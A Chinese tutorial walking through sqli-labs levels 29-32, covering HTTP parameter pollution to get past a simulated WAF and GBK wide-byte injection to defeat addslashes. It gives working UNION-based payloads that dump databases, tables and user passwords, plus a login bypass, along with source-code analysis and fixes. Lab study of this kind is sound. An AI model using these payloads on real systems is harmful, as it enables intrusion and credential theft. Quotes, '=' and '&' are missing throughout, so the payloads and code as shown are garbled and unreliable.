sqli-labs 29-32关:HPP与宽字节注入绕过WAF全解析
如果你刷到了 sqli-labs 的 29 关前面那些“加个引号就报错、union select 就出数据”的快乐日子基本到头了。从这一关开始靶场给你模拟了一个 WAF到 32 关又给参数套上了 addslashes 转义之前那些裸奔的 payload 打过去不是被拦就是被转义掉。很多人就是在这个“绕过模块”里弃坑的因为前面练的是“注入”从 29 开始练的是“对抗过滤器”。这篇文章把 29-32 四关放在一起拆透29-31 是 HTTP 参数污染HPP绕过 WAF 的三连变体32 是宽字节注入绕过转义函数的经典案例每一关我都会给出可直接复现的 payload并且把源码层面“为什么能绕过去”讲清楚。适合正在 sqli-labs 通关的初学者、想搞明白 sqlmap 那些 tamper 脚本在干什么的渗透新人以及写过原生拼接 SQL、踩过注入坑的后端开发。1. 为什么29-32是sqli-labs通关路上最容易卡住的一段1.1 先认清sqli-labs的整体结构sqli-labs 是个本地开源的 SQL 注入靶场PHP MySQL 环境用几十个关卡把注入类型切成一个个独立场景数字型、字符型、报错型、布尔盲注、时间盲注、堆叠注入、POST 注入、Cookie 注入、二次注入、UA/Referer 注入、宽字节、WAF 绕过等等。自己本地起一个环境就能连刷这也是合规性最好的练法多找找 Docker 镜像或者直接用 PHPStudy 拉起来都行别去碰公网上那些所谓的“在线靶场”更别拿未授权目标练手。很多人在前 28 关打得很快因为套路单一找参数、加引号试报错、order by 数列数、union select 出数据四步走完收工。但到了 29 关这套固定流程第一次失灵——你发出去的数据包被一道模拟的 WAF 拦了union、select 这些关键字直接触发告警。这时候你才意识到前面练的是“怎么写注入语句”从这开始练的是“怎么让你的注入语句活着到达数据库”。1.2 29-31关的考点WAF与HPP29-31 三关的主题完全一致题目在代码里内置了一个模拟 WAF用黑名单正则检查参数内容命中 union、select、and、or、#、-- 之类就中断请求。三关的差别只在于传参方式和取参顺序不一样但根本考点只有一个——HTTP 参数污染HPP。HPP 说白了一句话同一个参数名你在请求里多传几个值。这违反了开发者对“参数就是键值对”的直觉但 HTTP 协议本身并不禁止同名参数出现多次。关键在于不同中间件、不同语言对“同名参数取哪个值”的处理规则不一样WAF 看到的和你后端代码实际用到的很可能是两个不同的值。29-31 就是把这个错位现象做成三个方向的变体让你彻底理解 WAF 的盲区在哪里。1.3 32关的考点addslashes与宽字节32 关换了个思路不再拦关键字而是用 PHP 的 addslashes 函数给参数里的单引号、双引号、反斜杠等字符前面加一个反斜杠看起来是“把你注入的引号全部转义掉”理论上你做不了闭合。但这一关埋了一个更隐蔽的坑——数据库连接字符集是 GBK。在 GBK 这种双字节字符集里一个汉字由两个字节组成如果恰好第一个字节是 0x81-0xFE 区间、第二个字节是 0x5C反斜杠那么 addslashes 加的那个反斜杠会被 MySQL 当成汉字的第二个字节吞掉后面的单引号仍然是裸的。这就是宽字节注入也是 PHP 5 时代大量老系统翻车的原因。学会这一关你对“字符集错位”这类攻击会有很深的理解。2. HPP与宽字节注入的底层原理拆解2.1 WAF在拦什么又漏掉了什么先想明白 WAF 的工作方式。大部分规则型 WAF 做的是字符串匹配拿到请求里的参数值跑一遍正则黑名单命中就拦。29 关这套模拟 WAF 的黑名单大概是 union、select、and、or、#、-- 这些注入的“骨架关键字”一旦你的参数里出现它们直接中断。但字符串匹配有个天然问题它永远只能基于“它看到的内容”做判断。如果 WAF 只检查了参数的一部分而业务代码用的是另一部分那 WAF 看到的和数据库执行的就不是同一个东西。29-31 三关的 WAF 恰恰就只检查一个参数值不做全量扫描于是留下了“你检查你的、我用我的”的缝隙。这就是 HPP 能绕过它的原因也是现实世界里 WAF 被绕过的常见原因之一——WAF 和业务服务器根本不是同一个组件它们对同一个请求的理解天然存在差异。2.2 HPP同一个参数出现两次谁说了算要理解 29-31 的 payload先记住不同环境对重复参数的处理规则。这是 HPP 的底层基础也是你以后在真实环境中排查绕过技巧时的第一参考表环境/语言重复参数取值规则典型部署PHP$_GET/$_POST取最后一个值Apache/Nginx PHPASP.NETRequest.QueryString取第一个值IISJava Servlet取第一个值Tomcat 等Python Flaskrequest.args.get取第一个值Gunicorn/FlaskNginx 代理传递给上游默认拼接逗号或取第一个反向代理你可以这样理解WAF 是一个“保安”后端 SQL 是“老板”。保安检查来访者名单时只看表格第一行老板安排工作时却看最后一行那中间就必然有可钻的空子。29 关模拟的就是“保安看第一个、老板用最后一个”的场景所以你要在第三个参数位置做文章30 关反过来模拟的是“老板用第一个、保安看最后一个”的架构于是注入 payload 要放在第一个参数位置。搞懂这个“方向”29-31 就不需要死记硬背了。2.3 宽字节注入转义函数为什么拦不住一个汉字先看 addslashes 的机制。它做一件事在、、\、NULL 这些字符前面插入一个反斜杠\字节 0x5C。比如你输入1它变成1\这条字符串进了 SQL 就成了WHERE id1\单引号被转义无法闭合注入就失败了。但这里有个前提addslashes 是在 PHP 层做字节处理而 MySQL 拿到 SQL 语句后要先做解码。如果 MySQL 认为客户端传来的字节流是 GBK 编码它会连续读两个字节作为一个汉字。于是你输入1%df%270x31 0xDF 0x27addslashes 在 0x27 前插入 0x5C字节序列变成 0x31 0xDF 0x5C 0x27。MySQL 按 GBK 一读0xDF 0x5C 是合法的双字节汉字直接吞掉剩下 0x27 就是裸单引号。SQL 里被成功闭合注入成立。条件其实有三个缺一不可注入点本身用单引号包裹、数据库连接字符集是 GBK 这类双字节编码、输入里先搁一个能和 0x5C 组成合法汉字的起始字节。%df是最常用的因为 0xDF 和 0x5C 组合几乎是教科书级的安全闭合其他像%81、%bb、%bf、%fe这类字节只要后字节合法也能用。理解了这套字节级逻辑你就能明白为什么这一关用普通会被转义而%df%27直接绕过去了。3. 分关卡实操从判断注入点到拖库的完整payload3.1 Less-29过关过程与payload进 29 关后页面是一个带 id 参数的用户查询类似第一关的展示风格查出来就在页面上显示登录名和密码。这一步先验证 HPP 方向http://127.0.0.1/sqli-labs/Less-29/?id1id2如果你看到页面显示的是 id2 对应的用户说明业务代码用的是第二个参数值也就是“取最后一个”的 PHP 行为WAF 检查的则是第一个参数值“1”它里面没有任何黑名单关键字于是放行。方向确认后后面所有注入都会放在第二个 id 里。接下来按老四步走。先数列数payload 写成?id1id1 order by 3-- ?id1id1 order by 4--第一个没报错第二个报错说明查询一共 3 列。然后直接用 union 打法?id1id-1 union select 1,2,3--页面回显位置在 2 和 3也就是登录名和密码的位置。说明一下--在 URL 里会被 PHP 解码成--两个减号加空格正好是 MySQL 的注释语法把后面那句LIMIT 0,1和多余的单引号全注释掉。空格我也推荐用或%20代替直接放裸空格在浏览器里往往会被处理成%20也能跑通但写成更稳。数据提取阶段就是把 union 后面的 select 换成你要的查询。比如查当前数据库?id1id-1 union select 1,database(),3--页面第二个回显位置会直接打出 security。继续查表名、列名、字段数据的完整 payload我在 3.5 小节里统一列一个速查表29 到 32 都能直接套。3.2 Less-30把HPP方向反过来30 关页面长相和 29 差不多但先做同一个测试你就发现行为变了http://127.0.0.1/sqli-labs/Less-30/?id1id2这次页面显示的是 id1 的用户说明业务代码取的是第一个参数值代码刻意模拟了 ASP.NET/Java 那种“取首值”的行为。相应的WAF 检查的是最后一个值。所以 HPP 方向整体反转payload 放第一个 id第二个 id 放一个干净的干扰值。?id-1 union select 1,2,3--id1数列数同样要反过来payload 是?id1 order by 3--id1 ?id1 order by 4--id1这里有个容易踩的坑如果还按 29 关的写法把 payload 放第二个参数WAF 检查的就是你这个带 union 的参数直接拦截然后你会一脸懵地以为本关不能用 union。方向搞反是刷这两关最典型的错误所以每次动手前先做一遍id1id2的对照试验确定业务代码到底用哪个值再定 payload 放哪。3.3 Less-31POST版的HPP与万能密码31 关本质是 30 关的 POST 变体考点没变只是参数从 URL 挪到了请求体里。用 Burp Suite 抓包最方便直接在请求体里提交两个同名参数payload 放第一个、干净值放最后POST /sqli-labs/Less-31/ HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded id-1 union select 1,2,3--id1浏览器里做不了重复参数的表单提交所以这一关建议直接用 Burp 的重发器或者 hackbar 这类能让你手工改请求体的工具。如果你打开页面发现它是一个登录框那也别慌把注入思路从“union 拖数据”切换成“万能密码绕过”原理是同一个 HPP 错位把 payload 放到业务代码实际读取的那个参数位。比如经典的万能密码是 or 11--在登录型注入点里用户名提交admin or 11、密码随便填往往就能以第一个用户的身份登进去。配合 HPP 时就是u_name or 11--u_name1这种结构让 WAF 看到后面的干净值让业务代码拿到前面的注入串。这关练完你对 POST 型请求的 HPP 就有了肌肉记忆。3.4 Less-32宽字节注入实测32 关页面又回到 id 查询风格但你先用普通引号试一下?id1发现页面被转义了查不出东西也不报错因为 addslashes 把单引号变成了\整条 SQL 还在字符串里。这时候就要上宽字节测试?id1%df%27如果页面直接报 MySQL 语法错误说明宽字节逃逸成功——单引号已经逃出了 SQL 字符串多余的那个让整条语句语法崩了。报错就是事情成了的信号。接下来正常 payload 是?id-1%df%27 union select 1,2,3--这里要特别提醒一个新手必踩的坑%df和%27必须作为原始 URL 编码字节发出去千万别在工具里二次编码比如把%再编码成%25那服务端收到的就不是 0xDF 0x27而是字符串“%df%27”addslashes 和 GBK 都没法按预期工作页面会 500 或直接显示空。我在 Burp 里看到很多人卡在这一关十有八九是工具自动做了 URL 编码或者手滑把%df%27写成了%25df%2527。最稳的做法是 Burp 抓包后在原始请求里手工替换参数值发出去之前肉眼确认字节是%df%27。数据提取阶段只要把普通 payload 里的全部替换成%df%27就行。比如查当前数据库?id-1%df%27 union select 1,database(),3--3.5 四个关卡通用的数据提取payload速查表下面的速查表默认注入点已经闭合且回显位置是第 2、3 列。29 关把这些 payload 放在第二个 id30 和 31 放在第一个 id32 关把里面的换成%df%27即可。为了绕开引号干扰表名直接写成十六进制 0x7573657273对应字符串 users。目标SQL片段查当前数据库union select 1,database(),3--查所有数据库名union select 1,group_concat(schema_name),3 from information_schema.schemata--查当前库所有表名union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--查 users 表所有列名union select 1,group_concat(column_name),3 from information_schema.columns where table_name0x7573657273--查 users 表数据union select 1,group_concat(username,0x3a,password),3 from security.users--group_concat会把多行结果拼成一行方便在单个回显位置里看全0x3a是冒号的十六进制用来给用户名和密码加分隔符。刷 29-32 时把这套组合练熟后面几十关大部分数据提取都是这个模板的变体。4. 关键源码解析从代码层面看懂为什么能绕4.1 Less-29-31源码中的WAF与取参逻辑29-31 的源码核心就两个动作一个模拟 WAF 的函数一个拼接 SQL 的业务代码。以 29 关为例把它简化成可读性最好的样子// waf.php —— 模拟WAF function waf_check() { // 手工解析查询串只检查第一个 id 参数 preg_match(/(?:^|)id([^]*)/i, $_SERVER[QUERY_STRING], $m); $val urldecode($m[1]); if (preg_match(/union|select|and|or|#|--/i, $val)) { die(通过WAF告警发现非法参数); } } waf_check(); // index.php —— 业务逻辑 // 注意PHP 拿 $_GET[id] 时重复参数默认取最后一个 $id $_GET[id]; $sql SELECT * FROM users WHERE id$id LIMIT 0,1;关键就在这两个地方用了不同的取参方式。WAF 为了“效率”只看了查询串里第一次出现的 id值为 1干干净净放行而 PHP 的$_GET[id]取的是最后一次出现的 id也就是你塞进去的-1 union select 1,2,3--于是恶意串进了 SQL。30 和 31 的源码只是把这两个取值角色对调WAF 改成检查最后一个 id业务代码改成手工解析查询串、取第一个 id。源码里很可能就是多写了一个explode(, $_SERVER[QUERY_STRING])然后取数组第一个元素看上去“更严谨”但漏洞本质一模一样。31 关换汤不换药只是参数走了 POST 请求体取值逻辑和 30 关相同payload 放第一个同名参数即可。4.2 Less-32源码中的转义与字符集设置32 关的源码就更直接了// 连接数据库时设置了GBK相关字符集 // mysqli_query($conn, SET character_set_clientgbk, character_set_resultsgbk); // 实际就是在 sql-connect.php 里写了一句 SET NAMES gbk 或等价的设置 $id addslashes($_GET[id]); $sql SELECT * FROM users WHERE id$id LIMIT 0,1;addslashes 在单引号前加反斜杠这套转义本身没问题问题出在它不知道 MySQL 会用什么字符集来解析这条 SQL。当character_set_clientgbk时你提交的 0xDF 0x5C 会被 MySQL 当成一个完整的 GBK 汉字反斜杠根本不可能单独发挥“转义”作用单引号自然就逃逸了。如果你自己复现这个靶场时发现宽字节注入不生效大概率是连接字符集没设成 GBK或者你在数据库里手动改了default-character-setutf8。这也是为什么这类漏洞会有明显的“地域性”“年代性”——老一代 PHP 项目喜欢用 GBK 兼容历史数据踩了宽字节的坑现代项目统一 utf8mb4 之后这种攻击基本失效但同类思路在 BIG5、SJIS 等其他双字节字符集下依然值得警惕。4.3 从源码反推修复方案与真实影响范围既然看懂了漏洞成因防御方案也能直接从源码里推出来优先级从高到低第一永远用参数化查询预处理语句。SELECT * FROM users WHERE id ?让数据库自己处理参数和 SQL 的边界addslashes、宽字节这些转义层面的攻防全部失去意义。第二数据库连接字符集统一成 utf8mb4并在连接层显式SET NAMES utf8mb4从根源上消灭“多字节字符吞掉反斜杠”的可能。第三如果确实需要过滤用白名单而不是黑名单比如 id 参数就只允许数字。第四不要自己写转义函数去替代参数化这是无数老代码翻车的原因。从影响范围看HPP 这类问题在真实环境里主要出现在多组件部署的架构中反代 WAF 和业务服务器语言不同或者业务侧对重复参数的处理策略和 WAF 不一致这类错位不是靠“补几个关键字”能解决的必须做参数归一化。宽字节注入的影响范围则集中在遗留的 GBK 系 PHP/MySQL 系统上尤其是国内早期开发的 Web 应用也是很多老系统被反复“考古”的原因。理解了这些原理你在做代码审计时看到 addslashes、看到手动拼接 SQL、看到SET NAMES gbk就应该条件反射地知道下一步往哪看。5. 踩坑记录与常见问题速查5.1 常见问题排查表刷这四关时我几乎把能踩的坑都踩了一遍整理成一张速查表遇到奇怪现象先对号入座现象原因解决办法union/select 直接被拦HPP 参数放错位置先做id1id2对照测试确定业务用第几个值再决定 payload 放哪%df%27测试无报错工具二次 URL 编码服务端没收到 0xDF用 Burp 抓包改原始请求确认 URL 里是%df%27而不是%25df%2527宽字节注入不生效连接字符集不是 GBK检查 sql-connect.php 的 SET NAMES 配置或用%bf%27、%bb%27换字节尝试union 后页面空白列数不对或回显位置看错先用 order by 确定列数再逐个位置测试回显页面正常但查不出数据--注释没生效尾部干扰确认空格的编码--在 URL 里应该被解成--跑 sqlmap 识别不出默认 payload 库没有覆盖 HPP/宽字节人工 payload 过关后再学 tamper 脚本宽字节可以用 unmagicquotes 思路去理解5.2 我刷完29-32的几点实操心得第一先验证再注入。每次进入新关卡我第一件事一定是发两个同名参数看页面回显的是哪个值这个动作 10 秒钟但能避免后面所有 payload 方向性错误。第二学会用 Burp 的 Repeater 而不是浏览器地址栏。浏览器会自动编码很多字符、还会规范化 URL对宽字节和 HPP 这种需要精确控制字节的题型很不友好。第三刷完 29-32 之后回头再看 sqlmap 的 tamper 脚本就完全不神秘了它本质上就是“把普通 payload 改造成能绕过某种过滤规则的编码器”跟你手工改%df%27、手工调整参数顺序是同一件事。另外补充一点合规提醒这些 payload 我只建议在你自己的本地靶场或明确授权的测试环境里复现。sqli-labs 的价值是帮你建立“看到过滤条件就知道往哪个方向绕”的思维而不是让你拿它去测公网上任何一个没授权的目标。做安全测试的前提永远是授权。最后聊点个人体会。我复刷这四关时有个习惯过关后不急着往下走而是回到源码里把过滤条件改严一点点再把手上的 payload 调整一遍。比如把 29 关的 WAF 黑名单加上换行符、把 32 关的连接字符集改成 utf8你会立刻发现刚才的姿势全部失效然后不得不去研究新的绕过方式。这套“自己给自己加难度”的做法比单纯照着 payload 通关的收获大得多。29-32 本身不难难的是你在每次“失效”之后愿不愿意坐下来把源码再读一遍——读懂了源码你就不是在背答案而是在理解攻防两端的思维差异。